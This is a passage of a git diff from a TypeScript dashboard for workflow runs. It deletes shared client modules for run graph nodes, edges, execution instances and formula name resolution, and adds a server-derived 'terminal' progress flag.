-export * from './runs/groups.js';
 export * from './runs/health.js';
-export * from './runs/lanes.js';
-export * from './runs/liveness.js';
-export * from './runs/node-shape.js';
-export * from './runs/phaseMapping.js';
-export * from './runs/runtime-state.js';
-export * from './runs/session-link.js';
 export * from './runs/summary.js';
-export * from './runs/status.js';
 export * from './bead-id.js';
 export * from './links.js';
 export * from './links/build-link-view.js';
diff --git a/internal/api/dashboardspa/web/shared/src/run-detail.ts b/internal/api/dashboardspa/web/shared/src/run-detail.ts
index 90190af1fd..50896e0e55 100644
--- a/internal/api/dashboardspa/web/shared/src/run-detail.ts
+++ b/internal/api/dashboardspa/web/shared/src/run-detail.ts
@@ -134,6 +134,13 @@ export interface FormulaRunProgress {
   streamableSessionIds: string[];
   statusCounts: Partial<Record<RunNodeStatus, number>>;
   allStatusCounts: Partial<Record<RunNodeStatus, number>>;
+  /**
+   * True when every visible node has reached a terminal status. Derived in Go
+   * (runproj.buildFormulaRunProgress — the single source of the status
+   * terminality taxonomy); the client renders this flag instead of
+   * re-deriving terminality from a duplicated status list.
+   */
+  terminal: boolean;
 }
 
 export type FormulaRunPartialReason =
diff --git a/internal/api/dashboardspa/web/shared/src/runs/bead-fields.ts b/internal/api/dashboardspa/web/shared/src/runs/bead-fields.ts
deleted file mode 100644
index 20f21bc990..0000000000
--- a/internal/api/dashboardspa/web/shared/src/runs/bead-fields.ts
+++ /dev/null
@@ -1,64 +0,0 @@
-import type { RunSnapshotBead } from '../run-snapshot.js';
-
-export function meta(bead: RunSnapshotBead | undefined, key: string): string | undefined {
-  const value = bead?.metadata?.[key];
-  if (typeof value === 'string') return nonEmpty(value);
-  return undefined;
-}
-
-export function nonEmpty(value: unknown): string | undefined {
-  return typeof value === 'string' && value.trim().length > 0 ? value.trim() : undefined;
-}
-
-export function normalizedStepRef(bead: RunSnapshotBead): string | null {
-  const ref = meta(bead, 'gc.step_ref') ?? nonEmpty(bead.step_ref);
-  return ref ?? null;
-}
-
-export function iterationFor(bead: RunSnapshotBead): number | undefined {
-  return (
-    numericMeta(bead, 'gc.iteration') ??
-    numericRefSegment(bead, 'iteration') ??
-    numericRefSegment(bead, 'run')
-  );
-}
-
-export function attemptFor(bead: RunSnapshotBead): number | undefined {
-  return (
-    numericMeta(bead, 'gc.attempt') ??
-    numericField(bead.attempt) ??
-    numericRefSegment(bead, 'attempt')
-  );
-}
-
-export function positiveIntegerMeta(bead: RunSnapshotBead, key: string): number | undefined {
-  return numericMeta(bead, key);
-}
-
-export function externalizeId(id: string): string {
-  return id.replace(/(^|[^A-Za-z0-9])ralph(?=$|[^A-Za-z0-9])/gi, '$1check-loop');
-}
-
-function numericRefSegment(bead: RunSnapshotBead, marker: string): number | undefined {
-  const ref = normalizedStepRef(bead);
-  if (!ref) return undefined;
-  const parts = ref.split('.');
-  for (let i = 0; i < parts.length - 1; i += 1) {
-    if (parts[i] !== marker) continue;
-    const parsed = numericField(parts[i + 1]);
-    if (parsed !== undefined) return parsed;
-  }
-  return undefined;
-}
-
-function numericMeta(bead: RunSnapshotBead, key: string): number | undefined {
-  return numericField(meta(bead, key));
-}
-
-function numericField(value: unknown): number | undefined {
-  if (typeof value === 'number' && Number.isInteger(value) && value > 0) return value;
-  if (typeof value !== 'string') return undefined;
-  if (!/^[1-9]\d*$/.test(value)) return undefined;
-  const parsed = Number.parseInt(value, 10);
-  return Number.isSafeInteger(parsed) ? parsed : undefined;
-}
diff --git a/internal/api/dashboardspa/web/shared/src/runs/display-state.ts b/internal/api/dashboardspa/web/shared/src/runs/display-state.ts
deleted file mode 100644
index a52541fdd9..0000000000
--- a/internal/api/dashboardspa/web/shared/src/runs/display-state.ts
+++ /dev/null
@@ -1,61 +0,0 @@
-import type { RunDisplayEdge, RunDisplayNode, RunNodeStatus } from '../run-detail.js';
-
-const TERMINAL_STATUSES = new Set<RunNodeStatus>(['completed', 'done', 'failed', 'skipped']);
-
-/**
- * Convert raw bead state into graph presentation state. The supervisor exposes
- * durable bead status, while the dashboard needs to show whether a waiting node
- * is actually ready to be claimed or still blocked by upstream work.
- */
-export function applyDisplayNodeStates(
-  nodes: readonly RunDisplayNode[],
-  edges: readonly RunDisplayEdge[],
-): RunDisplayNode[] {
-  const byId = new Map(nodes.map((node) => [node.id, node]));
-  const inbound = buildInboundEdges(edges, byId);
-  const statusById = new Map<string, RunNodeStatus>();
-
-  for (const node of nodes) {
-    statusById.set(node.id, displayStatusFor(node, inbound.get(node.id) ?? [], byId));
-  }
-
-  return nodes.map((node) => {
-    const status = statusById.get(node.id) ?? node.status;
-    if (status === node.status) return node;
-    return {
-      ...node,
-      status,
-      executionInstances: node.executionInstances.map((instance) =>
-        instance.currentIteration !== false && instance.status === 'pending'
-          ? { ...instance, status }
-          : instance,
-      ),
-    };
-  });
-}
-
-function displayStatusFor(
-  node: RunDisplayNode,
-  blockers: readonly string[],
-  byId: Map<string, RunDisplayNode>,
-): RunNodeStatus {
-  if (node.status !== 'pending') return node.status;
-  if (blockers.length === 0) return 'ready';
-  const allDone = blockers.every((blockerId) => {
-    const blocker = byId.get(blockerId);
-    return blocker ? TERMINAL_STATUSES.has(blocker.status) : false;
-  });
-  return allDone ? 'ready' : 'blocked';
-}
-
-function buildInboundEdges(
-  edges: readonly RunDisplayEdge[],
-  byId: Map<string, RunDisplayNode>,
-): Map<string, string[]> {
-  const inbound = new Map<string, string[]>();
-  for (const edge of edges) {
-    if (!byId.has(edge.from) || !byId.has(edge.to)) continue;
-    inbound.set(edge.to, [...(inbound.get(edge.to) ?? []), edge.from]);
-  }
-  return inbound;
-}
diff --git a/internal/api/dashboardspa/web/shared/src/runs/edges.ts b/internal/api/dashboardspa/web/shared/src/runs/edges.ts
deleted file mode 100644
index aa80f49463..0000000000
--- a/internal/api/dashboardspa/web/shared/src/runs/edges.ts
+++ /dev/null
@@ -1,142 +0,0 @@
-import type { RunSnapshotDep, RunSnapshot } from '../run-snapshot.js';
-import type { RunDisplayEdge, RunDisplayNode } from '../run-detail.js';
-import { externalizeId, nonEmpty } from './bead-fields.js';
-
-export function buildRunDisplayEdges(
-  raw: RunSnapshot,
-  physicalToSemantic: Map<string, string>,
-  nodes: RunDisplayNode[],
-): RunDisplayEdge[] {
-  const logicalEdges = projectEdges(raw.logical_edges ?? [], physicalToSemantic, nodes);
-  if (logicalEdges.length > 0) return logicalEdges;
-  return projectEdges(raw.deps ?? [], physicalToSemantic, nodes, bridgeableScopeCheckIds(raw));
-}
-
-function projectEdges(
-  deps: RunSnapshotDep[],
-  physicalToSemantic: Map<string, string>,
-  nodes: RunDisplayNode[],
-  bridgeableHiddenIds = new Set<string>(),
-): RunDisplayEdge[] {
-  const visible = new Set(
-    nodes.filter((node) => node.visibleInGraph !== false).map((node) => node.id),
-  );
-  const outgoing = outgoingDeps(deps);
-  const seen = new Set<string>();
-  const edges: RunDisplayEdge[] = [];
-  for (const dep of deps) {
-    const rawFrom = nonEmpty(dep.from);
-    const rawTo = nonEmpty(dep.to);
-    if (!rawFrom || !rawTo) continue;
-    if (nonEmpty(dep.kind) === 'tracks') continue;
-    const from = physicalToSemantic.get(rawFrom) ?? externalizeId(rawFrom);
-    const to = physicalToSemantic.get(rawTo) ?? externalizeId(rawTo);
-    const kind = nonEmpty(dep.kind);
-    if (visible.has(from) && visible.has(to)) {
-      pushEdge(edges, seen, from, to, kind);
-      continue;
-    }
-    if (visible.has(from) && bridgeableHiddenIds.has(rawTo)) {
-      bridgeHiddenEdges({
-        edges,
-        seen,
-        source: from,
-        currentRawId: rawTo,
-        outgoing,
-        visible,
-        bridgeableHiddenIds,
-        physicalToSemantic,
-        ...(kind !== undefined ? { inheritedKind: kind } : {}),
-      });
-    }
-  }
-  return edges;
-}
-
-function bridgeHiddenEdges({
-  edges,
-  seen,
-  source,
-  currentRawId,
-  outgoing,
-  visible,
-  bridgeableHiddenIds,
-  physicalToSemantic,
-  inheritedKind,
-  visited = new Set<string>(),
-}: {
-  edges: RunDisplayEdge[];
-  seen: Set<string>;
-  source: string;
-  currentRawId: string;
-  outgoing: Map<string, RunSnapshotDep[]>;
-  visible: Set<string>;
-  bridgeableHiddenIds: Set<string>;
-  physicalToSemantic: Map<string, string>;
-  inheritedKind?: string;
-  visited?: Set<string>;
-}): void {
-  if (visited.has(currentRawId)) return;
-  visited.add(currentRawId);
-  for (const dep of outgoing.get(currentRawId) ?? []) {
-    const rawTo = nonEmpty(dep.to);
-    if (!rawTo) continue;
-    const kind = nonEmpty(dep.kind);
-    if (kind === 'tracks') continue;
-    const target = physicalToSemantic.get(rawTo) ?? externalizeId(rawTo);
-    const edgeKind = kind ?? inheritedKind;
-    if (visible.has(target)) {
-      pushEdge(edges, seen, source, target, edgeKind);
-    } else if (bridgeableHiddenIds.has(rawTo)) {
-      bridgeHiddenEdges({
-        edges,
-        seen,
-        source,
-        currentRawId: rawTo,
-        outgoing,
-        visible,
-        bridgeableHiddenIds,
-        physicalToSemantic,
-        ...(edgeKind !== undefined ? { inheritedKind: edgeKind } : {}),
-        visited,
-      });
-    }
-  }
-}
-
-function pushEdge(
-  edges: RunDisplayEdge[],
-  seen: Set<string>,
-  from: string,
-  to: string,
-  kind?: string,
-): void {
-  if (from === to) return;
-  const edgeKind = kind ?? 'dependency';
-  const key = `${from}->${to}:${edgeKind}`;
-  if (seen.has(key)) return;
-  seen.add(key);
-  edges.push({ from, to, kind: edgeKind });
-}
-
-function outgoingDeps(deps: RunSnapshotDep[]): Map<string, RunSnapshotDep[]> {
-  const out = new Map<string, RunSnapshotDep[]>();
-  for (const dep of deps) {
-    const from = nonEmpty(dep.from);
-    const to = nonEmpty(dep.to);
-    if (!from || !to) continue;
-    out.set(from, [...(out.get(from) ?? []), dep]);
-  }
-  return out;
-}
-
-function bridgeableScopeCheckIds(raw: RunSnapshot): Set<string> {
-  const ids = new Set<string>();
-  for (const bead of raw.beads ?? []) {
-    const id = nonEmpty(bead.id);
-    if (!id) continue;
-    const kind = nonEmpty(bead.metadata?.['gc.kind']) ?? nonEmpty(bead.kind);
-    if (kind === 'scope-check') ids.add(id);
-  }
-  return ids;
-}
diff --git a/internal/api/dashboardspa/web/shared/src/runs/enrich.ts b/internal/api/dashboardspa/web/shared/src/runs/enrich.ts
deleted file mode 100644
index bacc51e718..0000000000
--- a/internal/api/dashboardspa/web/shared/src/runs/enrich.ts
+++ /dev/null
@@ -1,145 +0,0 @@
-import type { FormulaDetail, RunSnapshotBead, RunSnapshot } from '../run-snapshot.js';
-import type { DashboardSession } from '../dashboard-sessions.js';
-import type {
-  RunFormulaDetailState,
-  FormulaRunCompleteness,
-  FormulaRunDetail,
-  FormulaRunPartialReason,
-} from '../run-detail.js';
-import { fromSnapshotScope } from '../run-scope.js';
-import { meta, nonEmpty } from './bead-fields.js';
-import type { RunningFormulaRunInput } from './formula-run.js';
-import { buildRunningFormulaRun } from './formula-run.js';
-
-interface EnrichOptions {
-  rigRoot?: string;
-  sessions?: readonly DashboardSession[];
-  formulaDetail?: FormulaDetail;
-  formulaDetailState?: RunFormulaDetailState;
-}
-
-/**
- * Why a run snapshot cannot be enriched into a detail view.
- * gascity-dashboard-9w3k: distinguishes the expected v1 / wisp case
- * ('not_run_view' — the run shows in the list but has no graph.v2 detail
- * view) from a malformed graph.v2 snapshot ('invalid_snapshot' — a genuine
- * load failure). The frontend renders these differently: the former is an
- * honest "list-only" message, the latter a generic load error.
- */
-export type UnsupportedRunReason = 'not_run_view' | 'invalid_snapshot';
-
-export class UnsupportedRunError extends Error {
-  readonly reason: UnsupportedRunReason;
-
-  constructor(message: string, reason: UnsupportedRunReason = 'invalid_snapshot') {
-    super(message);
-    this.name = 'UnsupportedRunError';
-    this.reason = reason;
-  }
-}
-
-export function enrichFormulaRun(raw: RunSnapshot, opts: EnrichOptions): FormulaRunDetail {
-  if (!isGraphV2(raw)) {
-    throw new UnsupportedRunError('run is not a graph.v2 run', 'not_run_view');
-  }
-
-  const rootBeadId = nonEmpty(raw.root_bead_id) ?? '';
-  const runId = nonEmpty(raw.run_id);
-  const rootStoreRef = nonEmpty(raw.root_store_ref);
-  const resolvedRootStore = nonEmpty(raw.resolved_root_store);
-  const beads = dedupeBeads(Array.isArray(raw.beads) ? raw.beads : []);
-  const root = rootBead(beads, rootBeadId);
-  const scope = fromSnapshotScope(raw);
-  if (!runId || !rootStoreRef || !resolvedRootStore) {
-    throw new UnsupportedRunError('run snapshot identity is missing or invalid');
-  }
-  if (scope === null) {
-    throw new UnsupportedRunError('run scope is missing or invalid');
-  }
-  if (!Number.isFinite(raw.snapshot_version)) {
-    throw new UnsupportedRunError('run snapshot version is missing or invalid');
-  }
-  if (typeof raw.partial !== 'boolean') {
-    throw new UnsupportedRunError('run partial flag is missing or invalid');
-  }
-
-  const runInput: RunningFormulaRunInput = {
-    raw,
-    runId,
-    rootBeadId,
-    rootStoreRef,
-    resolvedRootStore,
-    scopeKind: scope.scopeKind,
-    scopeRef: scope.scopeRef,
-    beads,
-  };
-  if (root !== undefined) runInput.root = root;
-  if (opts.rigRoot !== undefined) runInput.rigRoot = opts.rigRoot;
-  if (opts.sessions !== undefined) runInput.sessions = opts.sessions;
-  if (opts.formulaDetail !== undefined) runInput.formulaDetail = opts.formulaDetail;
-  if (opts.formulaDetailState !== undefined) runInput.formulaDetailState = opts.formulaDetailState;
-
-  const formulaRun = buildRunningFormulaRun(runInput);
-  const partialReasons: FormulaRunPartialReason[] = raw.partial
-    ? ['supervisor_snapshot_partial']
-    : [];
-
-  return {
-    runId,
-    rootBeadId,
-    rootStoreRef,
-    resolvedRootStore,
-    scopeKind: scope.scopeKind,
-    scopeRef: scope.scopeRef,
-    title: formulaRun.title,
-    formula: formulaRun.formula,
-    formulaDetail: formulaRun.formulaDetail,
-    executionPath: formulaRun.executionPath,
-    snapshotVersion: raw.snapshot_version,
-    snapshotEventSeq: formulaRun.progress.snapshotEventSeq,
-    completeness: formulaRunCompleteness(partialReasons),
-    progress: formulaRun.progress,
-    phase: formulaRun.phase,
-    stages: formulaRun.stages,
-    nodes: formulaRun.nodes,
-    edges: formulaRun.edges,
-    lanes: formulaRun.lanes,
-  };
-}
-
-export function formulaRunCompleteness(
-  reasons: readonly FormulaRunPartialReason[],
-): FormulaRunCompleteness {
-  const uniqueReasons = [...new Set(reasons)];
-  return uniqueReasons.length === 0
-    ? { kind: 'complete' }
-    : { kind: 'partial', reasons: uniqueReasons };
-}
-
-function isGraphV2(raw: RunSnapshot): boolean {
-  const root = rootBead(Array.isArray(raw.beads) ? raw.beads : [], raw.root_bead_id);
-  return meta(root, 'gc.formula_contract') === 'graph.v2';
-}
-
-function rootBead(
-  beads: RunSnapshotBead[],
-  rootBeadId: string | undefined,
-): RunSnapshotBead | undefined {
-  const rootId = nonEmpty(rootBeadId);
-  if (!rootId) return undefined;
-  return beads.find((bead) => nonEmpty(bead.id) === rootId);
-}
-
-function dedupeBeads(beads: RunSnapshotBead[]): RunSnapshotBead[] {
-  const seen = new Set<string>();
-  const out: RunSnapshotBead[] = [];
-  for (const bead of beads) {
-    const id = nonEmpty(bead.id);
-    if (id) {
-      if (seen.has(id)) continue;
-      seen.add(id);
-    }
-    out.push(bead);
-  }
-  return out;
-}
diff --git a/internal/api/dashboardspa/web/shared/src/runs/execution-instances.ts b/internal/api/dashboardspa/web/shared/src/runs/execution-instances.ts
deleted file mode 100644
index 57f43a655d..0000000000
--- a/internal/api/dashboardspa/web/shared/src/runs/execution-instances.ts
+++ /dev/null
@@ -1,264 +0,0 @@
-import type { RunSnapshotBead } from '../run-snapshot.js';
-import type {
-  RunAttempt,
-  RunAttemptSummary,
-  RunConstructKind,
-  RunControlBadge,
-  RunDisplayNode,
-  RunExecutionInstance,
-  RunIteration,
-  RunIterationSummary,
-  RunNodeScope,
-  RunSessionAttachment,
-} from '../run-detail.js';
-import { attemptFor, iterationFor, nonEmpty, positiveIntegerMeta } from './bead-fields.js';
-import type { RunSessionLinkContext } from './session-link.js';
-import { runSessionLinkFor } from './session-link.js';
-import { aggregateStatus, isRunningStatus, presentationStatus } from './status.js';
-
-export interface RunNodeGroup {
-  semanticNodeId: string;
-  title: string;
-  kind: string;
-  constructKind: RunConstructKind;
-  scopeRef?: string;
-  loopControlNodeId?: string;
-  beads: RunSnapshotBead[];
-}
-
-export function buildRunDisplayNode(
-  group: RunNodeGroup,
-  controlBadges: RunControlBadge[],
-  latestLoopIteration: number | undefined,
-  sessionContext: RunSessionLinkContext = {},
-): RunDisplayNode {
-  const instances = group.beads
-    .map((bead, index) => buildExecutionInstance(group.semanticNodeId, bead, index, sessionContext))
-    .sort(compareExecutionInstances);
-  const visibleInstance = preferredExecutionInstance(instances);
-  const iterations = new Set(
-    instances.map((instance) => iterationValue(instance.iteration)).filter(isNumber),
-  );
-  const visibleIteration =
-    (visibleInstance ? iterationValue(visibleInstance.iteration) : undefined) ??
-    (iterations.size > 0 ? Math.max(...iterations) : undefined);
-  const historicalOnly =
-    group.loopControlNodeId !== undefined &&
-    visibleIteration !== undefined &&
-    latestLoopIteration !== undefined &&
-    visibleIteration < latestLoopIteration;
-
-  for (const instance of instances) {
-    const currentIteration =
-      !historicalOnly &&
-      (visibleIteration === undefined || iterationValue(instance.iteration) === visibleIteration);
-    instance.currentIteration = currentIteration;
-    instance.historical = !currentIteration;
-    instance.session =
-      instance.session.kind === 'attached'
-        ? {
-            ...instance.session,
-            streamable: currentIteration && isRunningStatus(instance.status),
-          }
-        : instance.session;
-  }
-
-  if (visibleInstance === undefined) {
-    throw new Error(`run node ${group.semanticNodeId} has no execution instances`);
-  }
-
-  const node: RunDisplayNode = {
-    id: group.semanticNodeId,
-    semanticNodeId: group.semanticNodeId,
-    title: group.title,
-    kind: group.kind,
-    constructKind: group.constructKind,
-    status: aggregateStatus(instances, visibleInstance),
-    currentBeadId: visibleInstance.beadId,
-    scope: runNodeScope(group.scopeRef),
-    visibleInGraph: !historicalOnly,
-    historicalOnly,
-    iterationSummary: iterationSummaryFor(
-      visibleIteration,
-      iterations.size,
-      group.loopControlNodeId,
-    ),
-    attemptSummary: attemptSummaryFor(instances, group.beads),
-    visibleExecutionInstanceId: visibleInstance.id,
-    executionInstances: instances,
-    controlBadges,
-  };
-  return node;
-}
-
-export function latestIterationsByLoop(groups: RunNodeGroup[]): Map<string, number> {
-  const latest = new Map<string, number>();
-  for (const group of groups) {
-    if (!group.loopControlNodeId) continue;
-    for (const bead of group.beads) {
-      const iteration = iterationFor(bead);
-      if (!isNumber(iteration)) continue;
-      const current = latest.get(group.loopControlNodeId);
-      if (current === undefined || iteration > current) {
-        latest.set(group.loopControlNodeId, iteration);
-      }
-    }
-  }
-  return latest;
-}
-
-function buildExecutionInstance(
-  semanticNodeId: string,
-  bead: RunSnapshotBead,
-  index: number,
-  sessionContext: RunSessionLinkContext,
-): RunExecutionInstance {
-  const beadId = nonEmpty(bead.id);
-  if (beadId === undefined) {
-    throw new Error(`run node ${semanticNodeId} has a bead with an empty id`);
-  }
-  const iteration = iterationFor(bead);
-  const attempt = attemptFor(bead);
-  const status = presentationStatus(bead);
-  const sessionLink = runSessionLinkFor(bead, status, sessionContext);
-  const instance: RunExecutionInstance = {
-    id: beadId || `${semanticNodeId}:iteration-${iteration ?? 0}:attempt-${attempt ?? index}`,
-    semanticNodeId,
-    beadId,
-    iteration: iterationState(iteration),
-    attempt: attemptState(attempt),
-    label: instanceLabel(iteration, attempt),
-    status,
-    session: sessionState(status, sessionLink),
-    currentIteration: true,
-    historical: false,
-  };
-  return instance;
-}
-
-function preferredExecutionInstance(
-  instances: RunExecutionInstance[],
-): RunExecutionInstance | undefined {
-  return [...instances].sort(compareExecutionInstances).at(-1);
-}
-
-function compareExecutionInstances(
-  left: RunExecutionInstance,
-  right: RunExecutionInstance,
-): number {
-  return (
-    iterationOrder(left.iteration) - iterationOrder(right.iteration) ||
-    attemptOrder(left.attempt) - attemptOrder(right.attempt) ||
-    left.beadId.localeCompare(right.beadId)
-  );
-}
-
-function attemptSummaryFor(
-  instances: RunExecutionInstance[],
-  beads: RunSnapshotBead[],
-): RunAttemptSummary {
-  const attemptCount = attemptCountFor(instances);
-  const activeAttempt = activeAttemptFor(instances);
-  const badgeLabel = attemptBadgeFor(beads);
-  if (attemptCount === 0 && badgeLabel === undefined) return { kind: 'none' };
-  return {
-    kind: 'tracked',
-    count: Math.max(attemptCount, 1),
-    badge:
-      badgeLabel === undefined ? { kind: 'count-only' } : { kind: 'bounded', label: badgeLabel },
-    active:
-      activeAttempt === undefined ? { kind: 'idle' } : { kind: 'running', value: activeAttempt },
-  };
-}
-
-function attemptBadgeFor(beads: RunSnapshotBead[]): string | undefined {
-  const max = beads
-    .map((bead) => positiveIntegerMeta(bead, 'gc.max_attempts'))
-    .find((value) => value !== undefined);
-  if (max === undefined) return undefined;
-  const attempts = new Set(beads.map(attemptFor).filter(isNumber));
-  return `${Math.max(attempts.size, 1)}/${max}`;
-}
-
-function attemptCountFor(instances: RunExecutionInstance[]): number {
-  const attempts = new Set(
-    instances.map((instance) => attemptValue(instance.attempt)).filter(isNumber),
-  );
-  return attempts.size;
-}
-
-function activeAttemptFor(instances: RunExecutionInstance[]): number | undefined {
-  const active = instances.find((instance) => isRunningStatus(instance.status));
-  return active ? attemptValue(active.attempt) : undefined;
-}
-
-function instanceLabel(iteration: number | undefined, attempt: number | undefined): string {
-  if (iteration !== undefined && attempt !== undefined) {
-    return `iteration ${iteration}, attempt ${attempt}`;
-  }
-  if (iteration !== undefined) return `iteration ${iteration}`;
-  if (attempt !== undefined) return `attempt ${attempt}`;
-  return 'base';
-}
-
-function runNodeScope(scopeRef: string | undefined): RunNodeScope {
-  return scopeRef === undefined ? { kind: 'run' } : { kind: 'scoped', ref: scopeRef };
-}
-
-function iterationSummaryFor(
-  visibleIteration: number | undefined,
-  iterationCount: number,
-  loopControlNodeId: string | undefined,
-): RunIterationSummary {
-  if (visibleIteration === undefined || iterationCount === 0) return { kind: 'single' };
-  return {
-    kind: 'stacked',
-    visibleIteration,
-    iterationCount,
-    control:
-      loopControlNodeId === undefined
-        ? { kind: 'unknown' }
-        : { kind: 'known', id: loopControlNodeId },
-  };
-}
-
-function iterationState(value: number | undefined): RunIteration {
-  return value === undefined ? { kind: 'base' } : { kind: 'loop', value };
-}
-
-function attemptState(value: number | undefined): RunAttempt {
-  return value === undefined ? { kind: 'untracked' } : { kind: 'attempt', value };
-}
-
-function sessionState(
-  status: RunExecutionInstance['status'],
-  link: ReturnType<typeof runSessionLinkFor>,
-): RunSessionAttachment {
-  if (link !== undefined) {
-    return { kind: 'attached', link, streamable: false };
-  }
-  return {
-    kind: 'none',
-    reason: status === 'pending' || status === 'ready' ? 'not_started' : 'session_unresolved',
-  };
-}
-
-function iterationValue(iteration: RunIteration): number | undefined {
-  return iteration.kind === 'loop' ? iteration.value : undefined;
-}
-
-function attemptValue(attempt: RunAttempt): number | undefined {
-  return attempt.kind === 'attempt' ? attempt.value : undefined;
-}
-
-function iterationOrder(iteration: RunIteration): number {
-  return iterationValue(iteration) ?? 0;
-}
-
-function attemptOrder(attempt: RunAttempt): number {
-  return attemptValue(attempt) ?? 0;
-}
-
-function isNumber(value: number | undefined): value is number {
-  return typeof value === 'number' && Number.isFinite(value);
-}
diff --git a/internal/api/dashboardspa/web/shared/src/runs/execution-path.ts b/internal/api/dashboardspa/web/shared/src/runs/execution-path.ts
deleted file mode 100644
index a30ff57d04..0000000000
--- a/internal/api/dashboardspa/web/shared/src/runs/execution-path.ts
+++ /dev/null
@@ -1,34 +0,0 @@
-import type { RunSnapshotBead } from '../run-snapshot.js';
-import type { RunExecutionPath } from '../run-detail.js';
-import { meta, nonEmpty } from './bead-fields.js';
-
-export function resolveRunExecutionPath(
-  root: RunSnapshotBead | undefined,
-  beads: RunSnapshotBead[],
-  rigRoot?: string,
-): RunExecutionPath {
-  const candidates = [
-    ...executionWorkDirs(root),
-    ...beads.flatMap((bead) => executionWorkDirs(bead)),
-    ...rigRoots(root),
-    ...beads.flatMap((bead) => rigRoots(bead)),
-    nonEmpty(rigRoot),
-  ];
-  const path = candidates.find((candidate) => candidate !== undefined);
-  return path === undefined
-    ? { kind: 'unavailable', reason: 'missing_cwd_and_rig_root' }
-    : { kind: 'known', path };
-}
-
-function executionWorkDirs(bead: RunSnapshotBead | undefined): Array<string | undefined> {
-  return [
-    meta(bead, 'gc.cwd'),
-    meta(bead, 'cwd'),
-    meta(bead, 'gc.work_dir'),
-    meta(bead, 'work_dir'),
-  ];
-}
-
-function rigRoots(bead: RunSnapshotBead | undefined): Array<string | undefined> {
-  return [meta(bead, 'gc.rig_root'), meta(bead, 'rig_root')];
-}
diff --git a/internal/api/dashboardspa/web/shared/src/runs/formula-name.ts b/internal/api/dashboardspa/web/shared/src/runs/formula-name.ts
deleted file mode 100644
index 5e10d0dfeb..0000000000
--- a/internal/api/dashboardspa/web/shared/src/runs/formula-name.ts
+++ /dev/null
@@ -1,184 +0,0 @@
-import type { FormulaDetail, RunSnapshotBead } from '../run-snapshot.js';
-import type { RunFormulaSource } from '../run-detail.js';
-import { meta, nonEmpty } from './bead-fields.js';
-
-export type RunFormulaIdentityMode = 'detail' | 'lane' | 'route' | 'state';
-export type RunFormulaIdentitySource = RunFormulaSource | 'formula_detail';
-
-interface RunFormulaRootLike {
-  title: string;
-  status: string;
-  assignee?: string;
-  metadata?: Record<string, string>;
-}
-
-export interface ResolvedRunFormulaIdentity {
-  name: string | null;
-  source: RunFormulaIdentitySource | null;
-  target: string | null;
-}
-
-export interface ResolveRunFormulaIdentityInput {
-  root?: RunFormulaRootLike | undefined;
-  formulaDetail?: Pick<FormulaDetail, 'name'> | undefined;
-  issues?: readonly RunFormulaRootLike[];
-}
-
-/**
- * Resolved workflow formula name plus the provenance of that name.
- *
- * `source` carries which resolution path produced `name`:
- *  - `'metadata'` — the workflow root carried an explicit `gc.formula` key.
- *  - `'title_fallback'` — gc.formula was absent and the resolver derived
- *    the name from the bead title under the graph.v2 + `gc.run_target`
- *    gate. The dashboard surfaces this provenance to the operator in a
- *    warn tone instead of letting it pass as canonical metadata. See
- *    gascity-dashboard-e7hj for the precedent.
- */
-export interface ResolvedRunFormulaName {
-  name: string;
-  source: RunFormulaSource;
-}
-
-/**
- * Resolve a workflow root bead to its formula name and the provenance of
- * that name.
- *
- * gascity-dashboard-sadp: the live supervisor does NOT set `gc.formula` on
- * graph.v2 workflow roots — the formula name lives in the bead title by
- * convention (verified against live city data: title equals the
- * registered formula name for every observed graph.v2 root, including
- * `mol-focus-review`, `mol-dashboard-graphv2-smoke`). Without this
- * fallback, both the formula-detail fetch in routes/runs.ts and the
- * presentation-enrichment in formula-run.ts would treat graph.v2 lanes as
- * missing a formula, collapsing every graph.v2 run-detail page to an
- * empty `formula_detail_unavailable` state.
- *
- * The gate on `gc.run_target` is what keeps the fallback honest: only
- * fully-instantiated runnable roots set both `gc.formula_contract` and
- * `gc.run_target`. Operator-edited descriptive titles on closed roots
- * without a target won't be mis-surfaced as formula names.
- *
- * gascity-dashboard-xfb7 (sadp follow-up): terminal graph.v2 roots are
- * additionally excluded from the title fallback even when they retain
- * `gc.run_target`. After a run completes operators sometimes retitle the
- * root to a descriptive summary (e.g. 'investigation: foo bug'); a terminal
- * run cannot be re-fetched against the supervisor's formula registry to
- * refute a bad name, so the safer behavior is to defer — return null and
- * let the consumer render 'unavailable' rather than a false attribution.
- * Operators can override by setting `gc.formula` in metadata; the metadata
- * path remains canonical regardless of run state.
- *
- * Returns `{name, source}`, or `null` if neither the explicit key nor the
- * gated title fallback yields one. Callers may layer additional fallbacks
- * (e.g. `formulaDetail?.name` for the rare case where the detail fetch
- * succeeds despite missing root metadata) — those fallback paths attach
- * their own `source` value.
- *
- * Returning a single object (rather than `name()` + `source()`) keeps the
- * call atomic so a caller cannot accidentally surface a name from one
- * resolution path with the source label of another.
- */
-export function resolveRunFormulaName(
-  root: RunSnapshotBead | undefined,
-): ResolvedRunFormulaName | null {
-  if (!root) return null;
-  const explicit = meta(root, 'gc.formula');
-  if (explicit !== undefined) return { name: explicit, source: 'metadata' };
-  if (
-    meta(root, 'gc.formula_contract') === 'graph.v2' &&
-    meta(root, 'gc.run_target') !== undefined &&
-    !isTerminalRunRootStatus(root.status)
-  ) {
-    const title = root.title.trim();
-    if (title.length > 0) return { name: title, source: 'title_fallback' };
-  }
-  return null;
-}
-
-export function resolveRunFormulaIdentity(
-  mode: RunFormulaIdentityMode,
-  { root, formulaDetail, issues = [] }: ResolveRunFormulaIdentityInput,
-): ResolvedRunFormulaIdentity {
-  const target = runFormulaTarget(root);
-  const metadata = runFormulaMetadataName(mode, root, issues);
-  if (metadata !== null) return { name: metadata, source: 'metadata', target };
-
-  if (mode === 'detail' || mode === 'state') {
-    const detailName = nonEmpty(formulaDetail?.name);
-    if (detailName !== undefined) {
-      return { name: detailName, source: 'formula_detail', target };
-    }
-  }
-
-  const title = runFormulaTitleFallback(mode, root);
-  if (title !== null) return { name: title, source: 'title_fallback', target };
-
-  return { name: null, source: null, target };
-}
-
-function runFormulaMetadataName(
-  mode: RunFormulaIdentityMode,
-  root: RunFormulaRootLike | undefined,
-  issues: readonly RunFormulaRootLike[],
-): string | null {
-  if (mode === 'lane') {
-    return (
-      metadataString(issues, 'pr_review.workflow_formula') ??
-      metadataString(issues, 'gc.formula') ??
-      null
-    );
-  }
-  return rootMeta(root, 'gc.formula') ?? rootMeta(root, 'gc.formula_name') ?? null;
-}
-
-function runFormulaTitleFallback(
-  mode: RunFormulaIdentityMode,
-  root: RunFormulaRootLike | undefined,
-): string | null {
-  if (root === undefined) return null;
-  if (
-    rootMeta(root, 'gc.formula_contract') !== 'graph.v2' ||
